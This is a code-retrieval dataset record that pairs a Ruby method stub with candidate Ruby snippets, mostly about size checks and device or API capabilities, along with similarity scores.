"def correct_input_size?(input_ary, ref_size)\n input_ary.length == ref_size\n end",
"def queued_messages?\n @pointer < @buffer.length\n end",
"def size?\n @timestamps.size == @steps_num\n end",
"def can_deal?\n size() >= 6\n end",
"def over_capacity?\n if self.patrons.count > self.capacity\n true\n elsif self.patrons.count <= self.capacity\n false\n else\n 'Something is wrong'\n end\n end",
"def include?(size)\n return false unless size\n (self.begin.nil? or self.begin <= size) and\n (self.end.nil? or size <= self.end)\n end",
"def character_size_doubled?\n @cr[3][0] == 1\n end",
"def push_only?\n chunks.each { |c| return false if !c.opcode.nil? && c.opcode > OP_16 }\n true\n end",
"def is_full?(bucket, bucket_size)\n if bucket.length == bucket_size\n return true\n else\n return false\n end\nend",
"def have_size?(size)\n @buckets[size] && @buckets[size].size != 0\n end"
] |
[
"0.7481658",
"0.7219244",
"0.68251836",
"0.65684104",
"0.6475707",
"0.6470982",
"0.64309883",
"0.64221394",
"0.63825625",
"0.6377506",
"0.6364627",
"0.6349592",
"0.62525284",
"0.62525284",
"0.6211756",
"0.6146094",
"0.6114929",
"0.6095934",
"0.60868585",
"0.60708416",
"0.6066443",
"0.6014844",
"0.59942484",
"0.59861195",
"0.5978833",
"0.5970233",
"0.5950719",
"0.59478396",
"0.59478396",
"0.59478396",
"0.59478396",
"0.59123397",
"0.5909871",
"0.5898747",
"0.58975154",
"0.58921146",
"0.58921146",
"0.58921146",
"0.58921146",
"0.58743846",
"0.58690673",
"0.58682096",
"0.58682096",
"0.58682096",
"0.58682096",
"0.58676314",
"0.5856668",
"0.5848641",
"0.5829674",
"0.58201134",
"0.581709",
"0.57892543",
"0.5788228",
"0.5786934",
"0.5785936",
"0.5772591",
"0.57617724",
"0.575705",
"0.5753746",
"0.5733911",
"0.57295734",
"0.57295734",
"0.57295734",
"0.57295734",
"0.57295734",
"0.57295734",
"0.57295734",
"0.57295734",
"0.57295734",
"0.57295734",
"0.57295734",
"0.57295734",
"0.57295734",
"0.57295734",
"0.5723352",
"0.5711714",
"0.5710039",
"0.57074434",
"0.57023853",
"0.57006",
"0.5699905",
"0.56958336",
"0.56939363",
"0.56918025",
"0.5689194",
"0.5678475",
"0.5671637",
"0.5667281",
"0.56644124",
"0.56640834",
"0.5659794",
"0.56527346",
"0.5651459",
"0.5650979",
"0.56496924",
"0.5646454",
"0.56463504",
"0.56395495",
"0.5630565",
"0.5630304"
] |
0.7862521
|
0
|
can use .size or .length
|
def pet_count
return @pets.count
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def size() end",
"def size() end",
"def size() end",
"def size() end",
"def size() end",
"def size() end",
"def size?() end",
"def size(*) end",
"def size(*) end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def length; count end",
"def size()\n #This is a stub, used for indexing\n end",
"def size; @size end",
"def size\n length\n end",
"def length\n @elements.length\n #@elements.size \n end",
"def size()\n #This is a stub, used for indexing\n end",
"def size()\n #This is a stub, used for indexing\n end",
"def size\n as_array ? as_array.length : 0\n end",
"def size\n as_array ? as_array.length : 0\n end",
"def size\n @elements.length\n end",
"def size=(_); end",
"def size=(_); end",
"def size\n end",
"def size\n end",
"def size\n end",
"def size\n\t\t@length\n\tend",
"def size\n self.length\n end",
"def size(*args); end",
"def size\n @elements.size\n end",
"def size\n @elements.size\n end",
"def size\n end",
"def size\n end",
"def size\n end",
"def size\n end",
"def size\n end",
"def size\n end",
"def size\n end",
"def size\n end",
"def size\n end",
"def size\n @items.length \n end",
"def length\n each.count\n end",
"def size\n\t\treturn @items.size\n end",
"def size\n\t\t\t@elements.size\n\t\tend",
"def length\n size\n end",
"def size\n self.to_a.size\n end",
"def length\r\n elements.length\r\n end",
"def size\n\n end",
"def size\n \t@size\n end",
"def length(*) end",
"def length(*) end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end",
"def size\n @items.length\n end"
] |
[
"0.8617532",
"0.8617532",
"0.8617532",
"0.8617532",
"0.8617532",
"0.8617532",
"0.8426337",
"0.8141363",
"0.8141363",
"0.8089687",
"0.8089687",
"0.8089687",
"0.8089687",
"0.8089687",
"0.8089687",
"0.8089687",
"0.8089687",
"0.8089687",
"0.8089687",
"0.8089687",
"0.8089687",
"0.8089687",
"0.8089687",
"0.8089687",
"0.8089687",
"0.8089687",
"0.8089687",
"0.8089687",
"0.8089687",
"0.8089687",
"0.8017726",
"0.7812393",
"0.780866",
"0.77668434",
"0.7672522",
"0.76656204",
"0.76656204",
"0.7662831",
"0.7662831",
"0.76625276",
"0.7656783",
"0.7656783",
"0.76490176",
"0.76490176",
"0.76490176",
"0.7648602",
"0.76161677",
"0.76119846",
"0.75683177",
"0.7564446",
"0.75463504",
"0.75463504",
"0.75463504",
"0.75463504",
"0.75463504",
"0.75463504",
"0.75463504",
"0.75369555",
"0.75369555",
"0.7532359",
"0.7531638",
"0.74938965",
"0.7489056",
"0.74848455",
"0.74812347",
"0.7480822",
"0.7476632",
"0.74703145",
"0.7451546",
"0.7451546",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825",
"0.7447825"
] |
0.0
|
-1
|
Allow caller to override the capabilities
|
def fmtstr_set_caps(fpu, dpa)
@use_fpu = fpu
@use_dpa = dpa
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def capabilities; end",
"def capabilities; end",
"def capabilities; end",
"def client_capabilities=(_arg0); end",
"def default_capabilities\n {\n :browserName => \"Chrome\",\n :version => nil,\n :platform => \"Linux\"\n }\n end",
"def register_capabilities(methods); end",
"def capabilities\n data[:capabilities]\n end",
"def capabilities\n if @capabilities\n @capabilities\n elsif @cached_capabilities\n @capabilities = add_case_insensitive_default_proc(@cached_capabilities)\n else\n login\n end\n end",
"def capabilities\n attributes.fetch(:capabilities)\n end",
"def capabilities\n attributes.fetch(:capabilities)\n end",
"def update!(**args)\n @required_capabilities = args[:required_capabilities] if args.key?(:required_capabilities)\n end",
"def capability=(value)\n @capability = value\n end",
"def method_missing name, *named, **ordered, &block\n #log \"method #{name} missing on #{@name}\"\n capability_name = name[0..-2].to_sym\n params = RBCM::Params.new named, ordered\n if not @@capabilities.include? capability_name\n super\n elsif name =~ /\\!$/\n return # never call cap! diectly\n elsif name =~ /\\?$/\n __search capability_name, params, &block\n end\n end",
"def restrict_capabilities\n return unless current_admin&.capabilities&.reject(&:blank?)&.present?\n\n if capabilities&.reject(&:blank?)&.present?\n self.capabilities &= current_admin.capabilities\n else\n self.capabilities = current_admin.capabilities\n end\n end",
"def capabilities\n @stack.capabilities\n end",
"def capabilities\n @manage_sieve.print_capabilities\n end",
"def []=(name, value)\n @capabilities[name] = value\n end",
"def desired_caps_real_device\n\tdesired_caps = {\n\t caps: {\n\t platformName: \t\t'iOS',\n\t versionNumber: \t\t'9.0',\n\t deviceName: \t\t'iPad de Guillem',\n newCommandTimeout: 1000, \n\t udid: \t\t'52257b7d0ae102e2d79f02448b5486aca8c6e715',\n\t autoAcceptAlerts: true,\n bundleId: 'com.kg.GoldenManager',\n #newCommandTimeout: 10,\n\t #app:\t \t\t\t\t\tAPP_PATH, \t\n fullReset: false,\n fastReset: true\n\t }\n\t}\nend",
"def capabilities(*caps)\n caps = [caps].flatten\n\n raise \"Discovery plugin capabilities can't be empty\" if caps.empty?\n\n caps.each do |cap|\n if [:classes, :facts, :identity, :agents, :compound].include?(cap)\n @entities[:discovery][:capabilities] << cap\n else\n raise \"%s is not a valid capability, valid capabilities are :classes, :facts, :identity, :agents and :compound\" % cap\n end\n end\n end",
"def require_capability(capabilities, options = {})\n options.assert_valid_keys(:if, :unless,\n :for, :only, \n :for_all_except, :except\n )\n \n # only declare that before filter once\n unless (@before_filter_declared||=false)\n @before_filter_declared=true\n before_filter :check_capabilities\n end\n \n # convert to an array if it isn't already\n capabilities = [ capabilities ] unless Array === capabilities\n capabilities.map! do | x |\n x = 'controller/:controller/:action' if x == nil || x == :ACTION \n x\n end\n \n options[:only] ||= options[:for] if options[:for]\n options[:except] ||= options[:for_all_except] if options[:for_all_except]\n \n # convert any actions into symbols\n for key in [:only, :except]\n if options.has_key?(key)\n options[key] = [options[key]] unless Array === options[key]\n options[key] = options[key].compact.collect{|v| v.to_sym}\n end \n end\n \n self.capability_requirements||=[]\n self.capability_requirements << {:capabilities => capabilities, :options => options }\n end",
"def capability imap, res = nil\n return imap.capability unless res\n\n data = res.data\n\n if data.code and data.code.name == 'CAPABILITY' then\n data.code.data.split ' '\n else\n imap.capability\n end\n end",
"def register_capabilities methods\n @register_semaphore.synchronize do\n send_request 'client/registerCapability', {\n registrations: methods.select{|m| can_register?(m) and !registered?(m)}.map { |m|\n @registered_capabilities.add m\n {\n id: m,\n method: m,\n registerOptions: dynamic_capability_options[m]\n }\n }\n }\n end\n end",
"def hasCapability?(cap)\n return !isRegularUser? && (capabilities.include?(cap) || capabilities.include?(\"admin\"))\n end",
"def allow_registration method\n @register_semaphore.synchronize do\n @dynamic_capabilities.add method\n end\n end",
"def set_caps(node, identities, features)\n client.caps.node = node\n client.caps.identities = identities\n client.caps.features = features\n end",
"def capability\n one_data_response(\"CAPABILITY\").transform{ |response| response.data }\n end",
"def enable_capabilities!(stack, template)\n found = Array(template['Resources']).detect do |resource_name, resource|\n resource['Type'].start_with?('AWS::IAM')\n end\n stack['Capabilities'] = ['CAPABILITY_IAM'] if found\n nil\n end",
"def []=(key, value)\n @capabilities[key] = value\n end",
"def capabilities(keyword = nil)\n request Net::NNTP::Capabilities.new(keyword)\n end",
"def set_caps(caps)\n return false if not caps.is_a? Gst::Caps\n \n self.java_element.set_caps(caps.java_caps)\n end",
"def reset_abilities\n @capabilities.each do |cap|\n cant_do cap\n end\n end",
"def capability\n return @capability\n end",
"def [](name)\n @capabilities[name] || (parent_device ? parent_device[name] : nil)\n# @capabilities[name] = parent_device[name] if parent_device\n end",
"def update!(**args)\n @app_capabilities = args[:app_capabilities] if args.key?(:app_capabilities)\n @app_capabilities_delta = args[:app_capabilities_delta] if args.key?(:app_capabilities_delta)\n @app_integrations_settings = args[:app_integrations_settings] if args.key?(:app_integrations_settings)\n @car_assistant_capabilities = args[:car_assistant_capabilities] if args.key?(:car_assistant_capabilities)\n @clock_capabilities = args[:clock_capabilities] if args.key?(:clock_capabilities)\n @conversation_version = args[:conversation_version] if args.key?(:conversation_version)\n @cross_device_execution_capabilities = args[:cross_device_execution_capabilities] if args.key?(:cross_device_execution_capabilities)\n @gacs_capabilities = args[:gacs_capabilities] if args.key?(:gacs_capabilities)\n @gcm_capabilities = args[:gcm_capabilities] if args.key?(:gcm_capabilities)\n @home_app_capabilities = args[:home_app_capabilities] if args.key?(:home_app_capabilities)\n @live_tv_channel_capabilities = args[:live_tv_channel_capabilities] if args.key?(:live_tv_channel_capabilities)\n @oem_capabilities = args[:oem_capabilities] if args.key?(:oem_capabilities)\n @on_device_assistant_capabilities = args[:on_device_assistant_capabilities] if args.key?(:on_device_assistant_capabilities)\n @on_device_smart_home_capabilities = args[:on_device_smart_home_capabilities] if args.key?(:on_device_smart_home_capabilities)\n @on_device_storage_capabilities = args[:on_device_storage_capabilities] if args.key?(:on_device_storage_capabilities)\n @operating_system = args[:operating_system] if args.key?(:operating_system)\n @ordered_live_tv_providers = args[:ordered_live_tv_providers] if args.key?(:ordered_live_tv_providers)\n @selina_capabilities = args[:selina_capabilities] if args.key?(:selina_capabilities)\n @settings_app_capabilities = args[:settings_app_capabilities] if args.key?(:settings_app_capabilities)\n @supported_client_op = args[:supported_client_op] if args.key?(:supported_client_op)\n @supported_features = args[:supported_features] if args.key?(:supported_features)\n @supported_msg_version = args[:supported_msg_version] if args.key?(:supported_msg_version)\n @supported_provider_types = args[:supported_provider_types] if args.key?(:supported_provider_types)\n @surface_properties = args[:surface_properties] if args.key?(:surface_properties)\n end",
"def capabilities\n FFI::Libvirt.virConnectGetCapabilities(pointer)\n end",
"def support\n end",
"def unregister_capabilities(methods); end",
"def browser_caps(browser,browser_options)\n target = (browser.to_sym if ENV['BROWSER'].nil? or ENV['browser'].empty?) || (ENV['BROWSER'].to_sym)\n browser,version,platform,device = extract_values_from(target)\n options = {}\n options.merge! browser_options\n caps = capabilities(browser,version,platform,device)\n options[:url] = url if url\n if options.include? :url\n browser = :remote\n options[:desired_capabilities] = caps\n end\n options[:http_client] = http_client if persistent_http or options.delete(:persistent_http)\n return browser,options\n end",
"def capability_by_object_name(object_name)\n @capabilities[object_name]\n end",
"def add_appium_prefix(capabilities)\n w3c_capabilities = ::Selenium::WebDriver::Remote::W3C::Capabilities.new\n\n capabilities = capabilities.__send__(:capabilities) unless capabilities.is_a?(Hash)\n\n capabilities.each do |name, value|\n next if value.nil?\n next if value.is_a?(String) && value.empty?\n\n capability_name = name.to_s\n w3c_name = extension_prefix?(capability_name) ? name : \"#{APPIUM_PREFIX}#{capability_name}\"\n\n w3c_capabilities[w3c_name] = value\n end\n\n w3c_capabilities\n end",
"def supports_required_capabilities?(tcp)\n (ToolProxy::ENABLED_CAPABILITY - tcp['capability_offered']).blank?\n end",
"def vcap_commands\n\nend",
"def capability_params\n params.require(:capability).permit(:affordance_id, :setup_id, :verification_status)\n end",
"def implementations_of(message)\n raise CapabilitiesExceeded\n end",
"def required_capabilities?(tcp)\n (ToolProxy::ENABLED_CAPABILITY - tcp['capability_offered']).blank?\n end",
"def caps_me\n caps self\n end",
"def for_local(platform, capabilities_option, team_id = nil, udid = nil)\n capabilities = if platform.downcase == 'android'\n {\n 'platformName' => 'Android',\n 'automationName' => 'UiAutomator2',\n 'autoGrantPermissions' => 'true'\n }\n elsif platform.downcase == 'ios'\n {\n 'platformName' => 'iOS',\n 'automationName' => 'XCUITest',\n 'deviceName' => udid,\n 'xcodeOrgId' => team_id,\n 'xcodeSigningId' => 'iPhone Developer',\n 'udid' => udid\n }\n elsif platform.downcase == 'macos'\n {\n 'platformName' => 'Mac'\n }\n end\n common = {\n 'os' => platform,\n 'autoAcceptAlerts': 'true'\n }\n capabilities.merge! common\n capabilities.merge! JSON.parse(capabilities_option)\n end",
"def set_capability\n @capability = Capability.find(params[:id])\n end",
"def support\n raise \"Not implemented\"\n end",
"def set_desired_attributes(desired, action)\n case action\n when :enable\n desired.enabled = true\n when :hup\n desired.hupped = true\n when :int\n desired.inted = true\n when :term\n desired.termed = true\n when :restart\n desired.restarted = true\n when :nothing\n # nothing\n else\n raise NotImplementedError, \"unhandled action: '#{action}'\"\n end\n end",
"def modules\n raise CapabilitiesExceeded\n end",
"def resource_for(capability:)\n @capabilities[capability]\n end",
"def capability(capability)\n capability = self[capability.to_s]\n return nil if capability.nil?\n case capability.strip\n when /^d+$/\n capability = capability.to_i\n when /^true$/i\n capability = true\n when /^false$/i\n capability = false\n end\n return capability\n end",
"def can_emulate\n {\n method: \"Emulation.canEmulate\"\n }\n end",
"def browserstack\n # Documentation and the code for this class can be found here\n # http://www.rubydoc.info/gems/selenium-webdriver/0.0.28/Selenium/WebDriver/Remote/Capabilities\n # https://github.com/SeleniumHQ/selenium/blob/master/rb/lib/selenium/webdriver/remote/capabilities.rb\n capabilities = Selenium::WebDriver::Remote::Capabilities.new\n\n config.browserstack.capabilities.each do |key, value|\n capabilities[key] = value\n end\n\n capabilities\n end",
"def create_node_capabilities(node, caps = [])\n\n\t\tnode['driver'].each do |key, values|\n\t\t\tentry = { browserName: key, platform: node['platform'].upcase }\n\t\t\tvalues.each { |name, value| entry[name.to_s] = value }\n\t\t\tcaps << entry\n\t\tend \n\n\t\tcaps.to_json \n\tend",
"def enable_hotwire_turbo_drive_support=(_arg0); end",
"def update!(**args)\n @gesture_capabilities = args[:gesture_capabilities] if args.key?(:gesture_capabilities)\n @selina_supported = args[:selina_supported] if args.key?(:selina_supported)\n @sleep_sensing_supported = args[:sleep_sensing_supported] if args.key?(:sleep_sensing_supported)\n end",
"def caps_ios_sl\n { caps: {\n # for sauceLabs - ios:\n deviceName: \"iPhone 6\",\n platformName: \"iOS\",\n platformVersion: \"8.4\",\n app: \"https://s3.amazonaws.com/appium/TestApp8.4.app.zip\",\n deviceOrientation: \"portrait\",\n name: \"Test Sample App\",\n newCommandTimeout: \"3600\"\n },\n appium_lib: {\n server_url: \"https://#{@userName_sl}:#{@accessKey_sl}@ondemand.saucelabs.com:443/wd/hub\"\n }\n }\nend",
"def default_caps default\n fail 'default caps must be a hash' unless default && default.is_a?(Hash)\n @caps.each { |cap| cap.merge!(default) { |_key, oldval, _newval| oldval } }\n end",
"def use_agent?; end",
"def vcap environment\n\nend",
"def capabilities\n @capabilities ||=\n instrument \"capabilities.github_ldap\" do |payload|\n begin\n @connection.search_root_dse\n rescue Net::LDAP::Error => error\n payload[:error] = error\n # stubbed result\n Net::LDAP::Entry.new\n end\n end\n end",
"def isRegularUser?\n return capabilities.nil? || capabilities.blank?\n end",
"def add_capabilities!(opts, klass, item = nil)\n raise ArgumentError, 'klass must be a class' unless klass.is_a?(Class)\n raise ArgumentError, 'opts must be a hash' unless opts.is_a?(Hash)\n\n filter_settings = klass&.try(:filter_settings)\n\n # check we can get filter settings and that capabilities are defined for this class\n unless filter_settings in {capabilities: Hash}\n opts[:capabilities] = nil\n return\n end\n\n capabilities = filter_settings[:capabilities]\n\n opts[:capabilities] = capabilities.transform_values { |capability|\n evaluate_capability(item, klass, capability)\n }\n end",
"def capabilities\n @capabilities ||= @data[\"data\"].keys.select do |cap|\n cats = @data[\"data\"][cap][\"categories\"]\n cats.any?{|cat| cat =~ /CSS/ }\n end.sort\n end",
"def update!(**args)\n @android_intent_capability = args[:android_intent_capability] if args.key?(:android_intent_capability)\n end",
"def sharing_capability=(value)\n @sharing_capability = value\n end",
"def hardware_information\n super\n end",
"def patch_capability_switch_capability_with_http_info(moid, capability_switch_capability, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_switch_capability ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_switch_capability\"\n end\n # verify the required parameter 'capability_switch_capability' is set\n if @api_client.config.client_side_validation && capability_switch_capability.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_switch_capability' when calling CapabilityApi.patch_capability_switch_capability\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SwitchCapabilities/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_switch_capability)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySwitchCapability'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_switch_capability\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_switch_capability\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update!(**args)\n @android_intent_capabilities = args[:android_intent_capabilities] if args.key?(:android_intent_capabilities)\n @assistant_capability = args[:assistant_capability] if args.key?(:assistant_capability)\n @audio_input = args[:audio_input] if args.key?(:audio_input)\n @audio_output = args[:audio_output] if args.key?(:audio_output)\n @bluetooth_capabilities = args[:bluetooth_capabilities] if args.key?(:bluetooth_capabilities)\n @call_capabilities = args[:call_capabilities] if args.key?(:call_capabilities)\n @camera = args[:camera] if args.key?(:camera)\n @car_ux_restrictions = args[:car_ux_restrictions] if args.key?(:car_ux_restrictions)\n @cast = args[:cast] if args.key?(:cast)\n @communication_ui_capabilities = args[:communication_ui_capabilities] if args.key?(:communication_ui_capabilities)\n @contact_lookup_capabilities = args[:contact_lookup_capabilities] if args.key?(:contact_lookup_capabilities)\n @device_id = args[:device_id] if args.key?(:device_id)\n @device_ux_mode = args[:device_ux_mode] if args.key?(:device_ux_mode)\n @has_voice_telephony = args[:has_voice_telephony] if args.key?(:has_voice_telephony)\n @jwn_capabilities = args[:jwn_capabilities] if args.key?(:jwn_capabilities)\n @lens_perception_capabilities = args[:lens_perception_capabilities] if args.key?(:lens_perception_capabilities)\n @location = args[:location] if args.key?(:location)\n @logging_only_data = args[:logging_only_data] if args.key?(:logging_only_data)\n @message_capabilities = args[:message_capabilities] if args.key?(:message_capabilities)\n @movement = args[:movement] if args.key?(:movement)\n @notification_capabilities = args[:notification_capabilities] if args.key?(:notification_capabilities)\n @notification_output_restrictions = args[:notification_output_restrictions] if args.key?(:notification_output_restrictions)\n @output_restrictions = args[:output_restrictions] if args.key?(:output_restrictions)\n @pop_on_lockscreen_capability = args[:pop_on_lockscreen_capability] if args.key?(:pop_on_lockscreen_capability)\n @safety_restrictions = args[:safety_restrictions] if args.key?(:safety_restrictions)\n @screen = args[:screen] if args.key?(:screen)\n @soda_capabilities = args[:soda_capabilities] if args.key?(:soda_capabilities)\n @software = args[:software] if args.key?(:software)\n @speech_capabilities = args[:speech_capabilities] if args.key?(:speech_capabilities)\n @supported_locale = args[:supported_locale] if args.key?(:supported_locale)\n @surface_identity = args[:surface_identity] if args.key?(:surface_identity)\n @surface_type_string = args[:surface_type_string] if args.key?(:surface_type_string)\n @system_notification_restrictions = args[:system_notification_restrictions] if args.key?(:system_notification_restrictions)\n @third_party_capabilities = args[:third_party_capabilities] if args.key?(:third_party_capabilities)\n end",
"def create_capability_switch_capability_with_http_info(capability_switch_capability, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.create_capability_switch_capability ...'\n end\n # verify the required parameter 'capability_switch_capability' is set\n if @api_client.config.client_side_validation && capability_switch_capability.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_switch_capability' when calling CapabilityApi.create_capability_switch_capability\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SwitchCapabilities'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n header_params[:'If-None-Match'] = opts[:'if_none_match'] if !opts[:'if_none_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_switch_capability)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySwitchCapability'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.create_capability_switch_capability\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#create_capability_switch_capability\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def module_scope\n raise CapabilitiesExceeded\n end",
"def discovery_permissions\n super\n end",
"def inherit_promoted(device)\n raise NotImplementedError\n end",
"def agent_interface\n super\n end",
"def _initialize(name, machine)\n initialize_capabilities!(\n name.to_sym,\n { name.to_sym => [Class.new, nil] },\n Vagrant.plugin(\"2\").manager.provider_capabilities,\n machine,\n )\n end",
"def cap_respond_all?\n false\n end",
"def overrides; end",
"def normalize_capability cap\n cap = cap.name if cap.respond_to?(:name)\n if Hash === cap\n cap = \"controller/#{cap[:controller] || '*'}/#{cap[:action] || '*'}\"\n end\n cap = cap.to_s unless String === cap\n cap\n end",
"def threads\n raise CapabilitiesExceeded\n end",
"def chrome_capabilities\n Selenium::WebDriver::Remote::Capabilities.chrome(\n logging_prefs: {browser: 'ALL'},\n 'chromeOptions' => {\n 'args' => %w[--ignore-certificate-errors],\n 'w3c' => false\n },\n 'acceptSslCerts' => true,\n 'acceptInsecureCerts' => true\n )\n end",
"def method_missing(method_name, *args, &blk)\n enabled = enabled_value(method_name)\n\n return super if enabled.nil?\n\n enabled\n end",
"def provision!; end",
"def extended_interfaces; end",
"def method_missing(name, *args, &block)\n if abilities.key?(name)\n if TRUE_FLAGS.include?(abilities[name])\n true\n elsif FALSE_FLAGS.include?(abilities[name])\n false\n else\n if self.class === abilities[name]\n abilities[name]\n else\n abilities[name] = self.class.new(abilities[name], true) # true for subcan\n end\n end\n else\n if subcan\n false\n else\n # If not exist a key(resource) then mock a key with a blank can instance, so\n # we can call chain like this: <tt>can.resource_name.read # => false</tt>\n abilities[name] = self.class.new({}, true)\n end\n end\n end",
"def classes\n raise CapabilitiesExceeded\n end",
"def api_mode; end",
"def caps_ipad_sim\n { caps: {\n deviceName: \"\",\n platformName: \"iOS\",\n udid: \"\",\n platformVersion: \"\",\n appPackage: \"\",\n bundleId: \"\",\n xcodeOrgId: \"\",\n xcodeSigningId: \"\",\n newCommandTimeout: \"3600\",\n automationName: \"XCUITest\"\n # setWebContentsDebuggingEnabled: \"true\",\n # orientation: \"LANDSCAPE\",\n # noReset: \"false\",\n # fullReset: \"false\",\n # showIOSLog: \"true\",\n # autoAcceptAlerts: \"true\",\n # showXcodeLog: \"true\",\n # useNewWDA: \"true\"\n # resetOnSessionStartOnly: \"true\"\n }\n }\nend",
"def standard?\n STANDARD_CAPABILITIES.include?(@name)\n end",
"def choose\n raise NotImplementedError.new('Must override')\n end",
"def handle_exception(e = Exception, &block)\n raise CapabilitiesExceeded\n end",
"def update!(**args)\n @fallback_to_tethered_device_app_capabilities = args[:fallback_to_tethered_device_app_capabilities] if args.key?(:fallback_to_tethered_device_app_capabilities)\n @prefer_targeting_primary_device = args[:prefer_targeting_primary_device] if args.key?(:prefer_targeting_primary_device)\n @supported_recipient_types = args[:supported_recipient_types] if args.key?(:supported_recipient_types)\n end",
"def method_missing(name, *args, &block)\n if driver.respond_to?(name)\n driver.send(name, *args, &block)\n else\n super\n end\n end",
"def toggle_guest_access\n raise NotImplementedError\n end",
"def driver_start(desired_capabilities, appium_server)\n\n server_caps = {\n debug: false, #true\n server_url: appium_server,\n wait: 60 # equal to @default_wait in appium_lib source code.\n }\n\n caps = { caps: desired_capabilities, appium_lib: server_caps }\n\n Appium::Driver.new(caps).start_driver\n\n # Define the methods on all objects.\n # Note that this can also be scoped to limit the potential for conflicts.\n # Example: Appium.promote_appium_methods ::Example::Spec\n # Another alternative is to not promote at all. Instead access methods via $driver\n Appium.promote_appium_methods AppiumCustomDriver\n\n @driver\n end",
"def unregister_capabilities methods\n @register_semaphore.synchronize do\n send_request 'client/unregisterCapability', {\n unregisterations: methods.select{|m| registered?(m)}.map{ |m|\n @registered_capabilities.delete m\n {\n id: m,\n method: m\n }\n }\n }\n end\n end",
"def enable_rc\n system(\"sudo cp /opt/bs/files/su #{@rootfs}etc/pam.d/\")\n system(\"echo \\\"session required pam_limits.so\\\" | sudo tee -a #{@rootfs}etc/pam.d/su > /dev/null\")\n end",
"def opts\n {\n caps: {\n \"app\": \"apps/budgetwatch.apk\",\n \"platformName\": \"android\",\n \"deviceName\": \"emulator\"\n }\n }\nend",
